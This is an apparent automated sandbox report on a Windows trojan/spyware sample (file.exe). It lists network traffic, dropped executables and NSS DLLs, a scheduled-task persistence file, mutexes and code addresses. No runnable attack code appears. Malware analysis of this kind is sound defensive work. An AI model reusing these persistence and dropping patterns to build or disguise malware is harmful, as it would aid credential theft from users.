Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49885 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: EBAEBFIIEC.exe.5.dr	Static PE information: section name:
Source: EBAEBFIIEC.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.19.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name: .idata

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDDECC0	5_2_6CDDECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE3ECD0	5_2_6CE3ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDEAC60	5_2_6CDEAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEBAC30	5_2_6CEBAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEA6C00	5_2_6CEA6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF6CDC0	5_2_6CF6CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDE4DB0	5_2_6CDE4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE76D90	5_2_6CE76D90
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEAED70	5_2_6CEAED70
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF0AD50	5_2_6CF0AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF68D20	5_2_6CF68D20
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDEAEC0	5_2_6CDEAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE80EC0	5_2_6CE80EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE66E90	5_2_6CE66E90
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE7EE70	5_2_6CE7EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEC0E20	5_2_6CEC0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEBEFF0	5_2_6CEBEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDE0FE0	5_2_6CDE0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF28FB0	5_2_6CF28FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDEEFB0	5_2_6CDEEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEA2F70	5_2_6CEA2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE4EF40	5_2_6CE4EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDE6F10	5_2_6CDE6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF20F20	5_2_6CF20F20
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEE68E0	5_2_6CEE68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEB4840	5_2_6CEB4840
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE30820	5_2_6CE30820
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE6A820	5_2_6CE6A820
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEFC9E0	5_2_6CEFC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE149F0	5_2_6CE149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE709A0	5_2_6CE709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE9A9A0	5_2_6CE9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEA09B0	5_2_6CEA09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE18960	5_2_6CE18960
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE36900	5_2_6CE36900
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE5EA80	5_2_6CE5EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE5CA70	5_2_6CE5CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE98A30	5_2_6CE98A30
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE8EA00	5_2_6CE8EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEE6BE0	5_2_6CEE6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE80BA0	5_2_6CE80BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE264D0	5_2_6CE264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE7A4D0	5_2_6CE7A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF0A480	5_2_6CF0A480
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDF8460	5_2_6CDF8460
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE44420	5_2_6CE44420
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE6A430	5_2_6CE6A430
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEAA5E0	5_2_6CEAA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE6E5F0	5_2_6CE6E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDD45B0	5_2_6CDD45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE42560	5_2_6CE42560
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE80570	5_2_6CE80570
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF28550	5_2_6CF28550
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE38540	5_2_6CE38540
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEE4540	5_2_6CEE4540
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE3E6E0	5_2_6CE3E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE7E6E0	5_2_6CE7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE046D0	5_2_6CE046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE3C650	5_2_6CE3C650
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE0A7D0	5_2_6CE0A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE60700	5_2_6CE60700
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDD8090	5_2_6CDD8090
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEBC0B0	5_2_6CEBC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDF00B0	5_2_6CDF00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE2E070	5_2_6CE2E070
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEAC000	5_2_6CEAC000
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEA8010	5_2_6CEA8010
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDE01E0	5_2_6CDE01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE48140	5_2_6CE48140
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE56130	5_2_6CE56130
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEC4130	5_2_6CEC4130
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF662C0	5_2_6CF662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEB22A0	5_2_6CEB22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEAE2B0	5_2_6CEAE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE68260	5_2_6CE68260
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE78250	5_2_6CE78250
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEB8220	5_2_6CEB8220
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEAA210	5_2_6CEAA210
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE343E0	5_2_6CE343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE123A0	5_2_6CE123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE3E3B0	5_2_6CE3E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF22370	5_2_6CF22370
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEFC360	5_2_6CEFC360
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE76370	5_2_6CE76370
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDE8340	5_2_6CDE8340
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDE2370	5_2_6CDE2370
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE52320	5_2_6CE52320
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEA1CE0	5_2_6CEA1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF1DCD0	5_2_6CF1DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE7FC80	5_2_6CE7FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDE3C40	5_2_6CDE3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF09C40	5_2_6CF09C40
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDF1C30	5_2_6CDF1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEB1DC0	5_2_6CEB1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDD3D80	5_2_6CDD3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF29D90	5_2_6CF29D90
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE43D00	5_2_6CE43D00
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE03EC0	5_2_6CE03EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF3BE70	5_2_6CF3BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF65E60	5_2_6CF65E60
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEEDE10	5_2_6CEEDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE8BFF0	5_2_6CE8BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEFDFC0	5_2_6CEFDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF63FC0	5_2_6CF63FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE01F90	5_2_6CE01F90
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE15F20	5_2_6CE15F20
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF37F20	5_2_6CF37F20
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDD5F30	5_2_6CDD5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE138E0	5_2_6CE138E0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF3B8F0	5_2_6CF3B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEBF8F0	5_2_6CEBF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE7F8C0	5_2_6CE7F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDED8E0	5_2_6CDED8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE3D810	5_2_6CE3D810
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE459F0	5_2_6CE459F0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE779F0	5_2_6CE779F0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE799C0	5_2_6CE799C0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE199D0	5_2_6CE199D0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDF1980	5_2_6CDF1980
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEB1990	5_2_6CEB1990
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE5F960	5_2_6CE5F960
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE9D960	5_2_6CE9D960
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE95920	5_2_6CE95920
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF2F900	5_2_6CF2F900
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDE1AE0	5_2_6CDE1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEBDAB0	5_2_6CEBDAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF69A50	5_2_6CF69A50
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEDDA30	5_2_6CEDDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE1FA10	5_2_6CE1FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE81A10	5_2_6CE81A10
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE27BF0	5_2_6CE27BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE39BA0	5_2_6CE39BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEA9BB0	5_2_6CEA9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDD1B80	5_2_6CDD1B80
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEC5B90	5_2_6CEC5B90
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEBFB60	5_2_6CEBFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE2BB20	5_2_6CE2BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDE14E0	5_2_6CDE14E0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF614A0	5_2_6CF614A0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEC9430	5_2_6CEC9430
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE6D410	5_2_6CE6D410
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE655F0	5_2_6CE655F0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE19590	5_2_6CE19590
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDF5510	5_2_6CDF5510
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF2F510	5_2_6CF2F510
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE47500	5_2_6CE47500
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE116A0	5_2_6CE116A0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE496A0	5_2_6CE496A0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDF9650	5_2_6CDF9650
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE35640	5_2_6CE35640
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00E278BB	19_2_00E278BB
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00E28860	19_2_00E28860
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00E27049	19_2_00E27049
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00E231A8	19_2_00E231A8
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00DE4B30	19_2_00DE4B30
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00DE4DE0	19_2_00DE4DE0
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00E22D10	19_2_00E22D10
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00E2779B	19_2_00E2779B
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00E17F36	19_2_00E17F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_009078BB	22_2_009078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00907049	22_2_00907049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00908860	22_2_00908860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_009031A8	22_2_009031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_008C4B30	22_2_008C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_008C4DE0	22_2_008C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00902D10	22_2_00902D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0090779B	22_2_0090779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_008F7F36	22_2_008F7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_009078BB	23_2_009078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00907049	23_2_00907049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00908860	23_2_00908860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_009031A8	23_2_009031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_008C4B30	23_2_008C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_008C4DE0	23_2_008C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00902D10	23_2_00902D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0090779B	23_2_0090779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_008F7F36	23_2_008F7F36

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: String function: 00DF80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 008D80C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 008DDF80 appears 36 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF6D930 appears 64 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE09B10 appears 107 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF19F30 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE3C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF609D0 appears 332 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE03620 appears 96 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF6DAE0 appears 82 times

Source: file.exe, 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000005.00000002.1932179571.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@38/53@8/9

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_6CE40300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

5_2_6CE40300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\MJ0N2LL6.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

File created: C:\Users\user~1\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000005.00000002.1931488002.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1920260419.000000001D194000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000005.00000002.1931488002.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1920260419.000000001D194000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000005.00000002.1931488002.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1920260419.000000001D194000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000005.00000002.1931488002.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1920260419.000000001D194000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
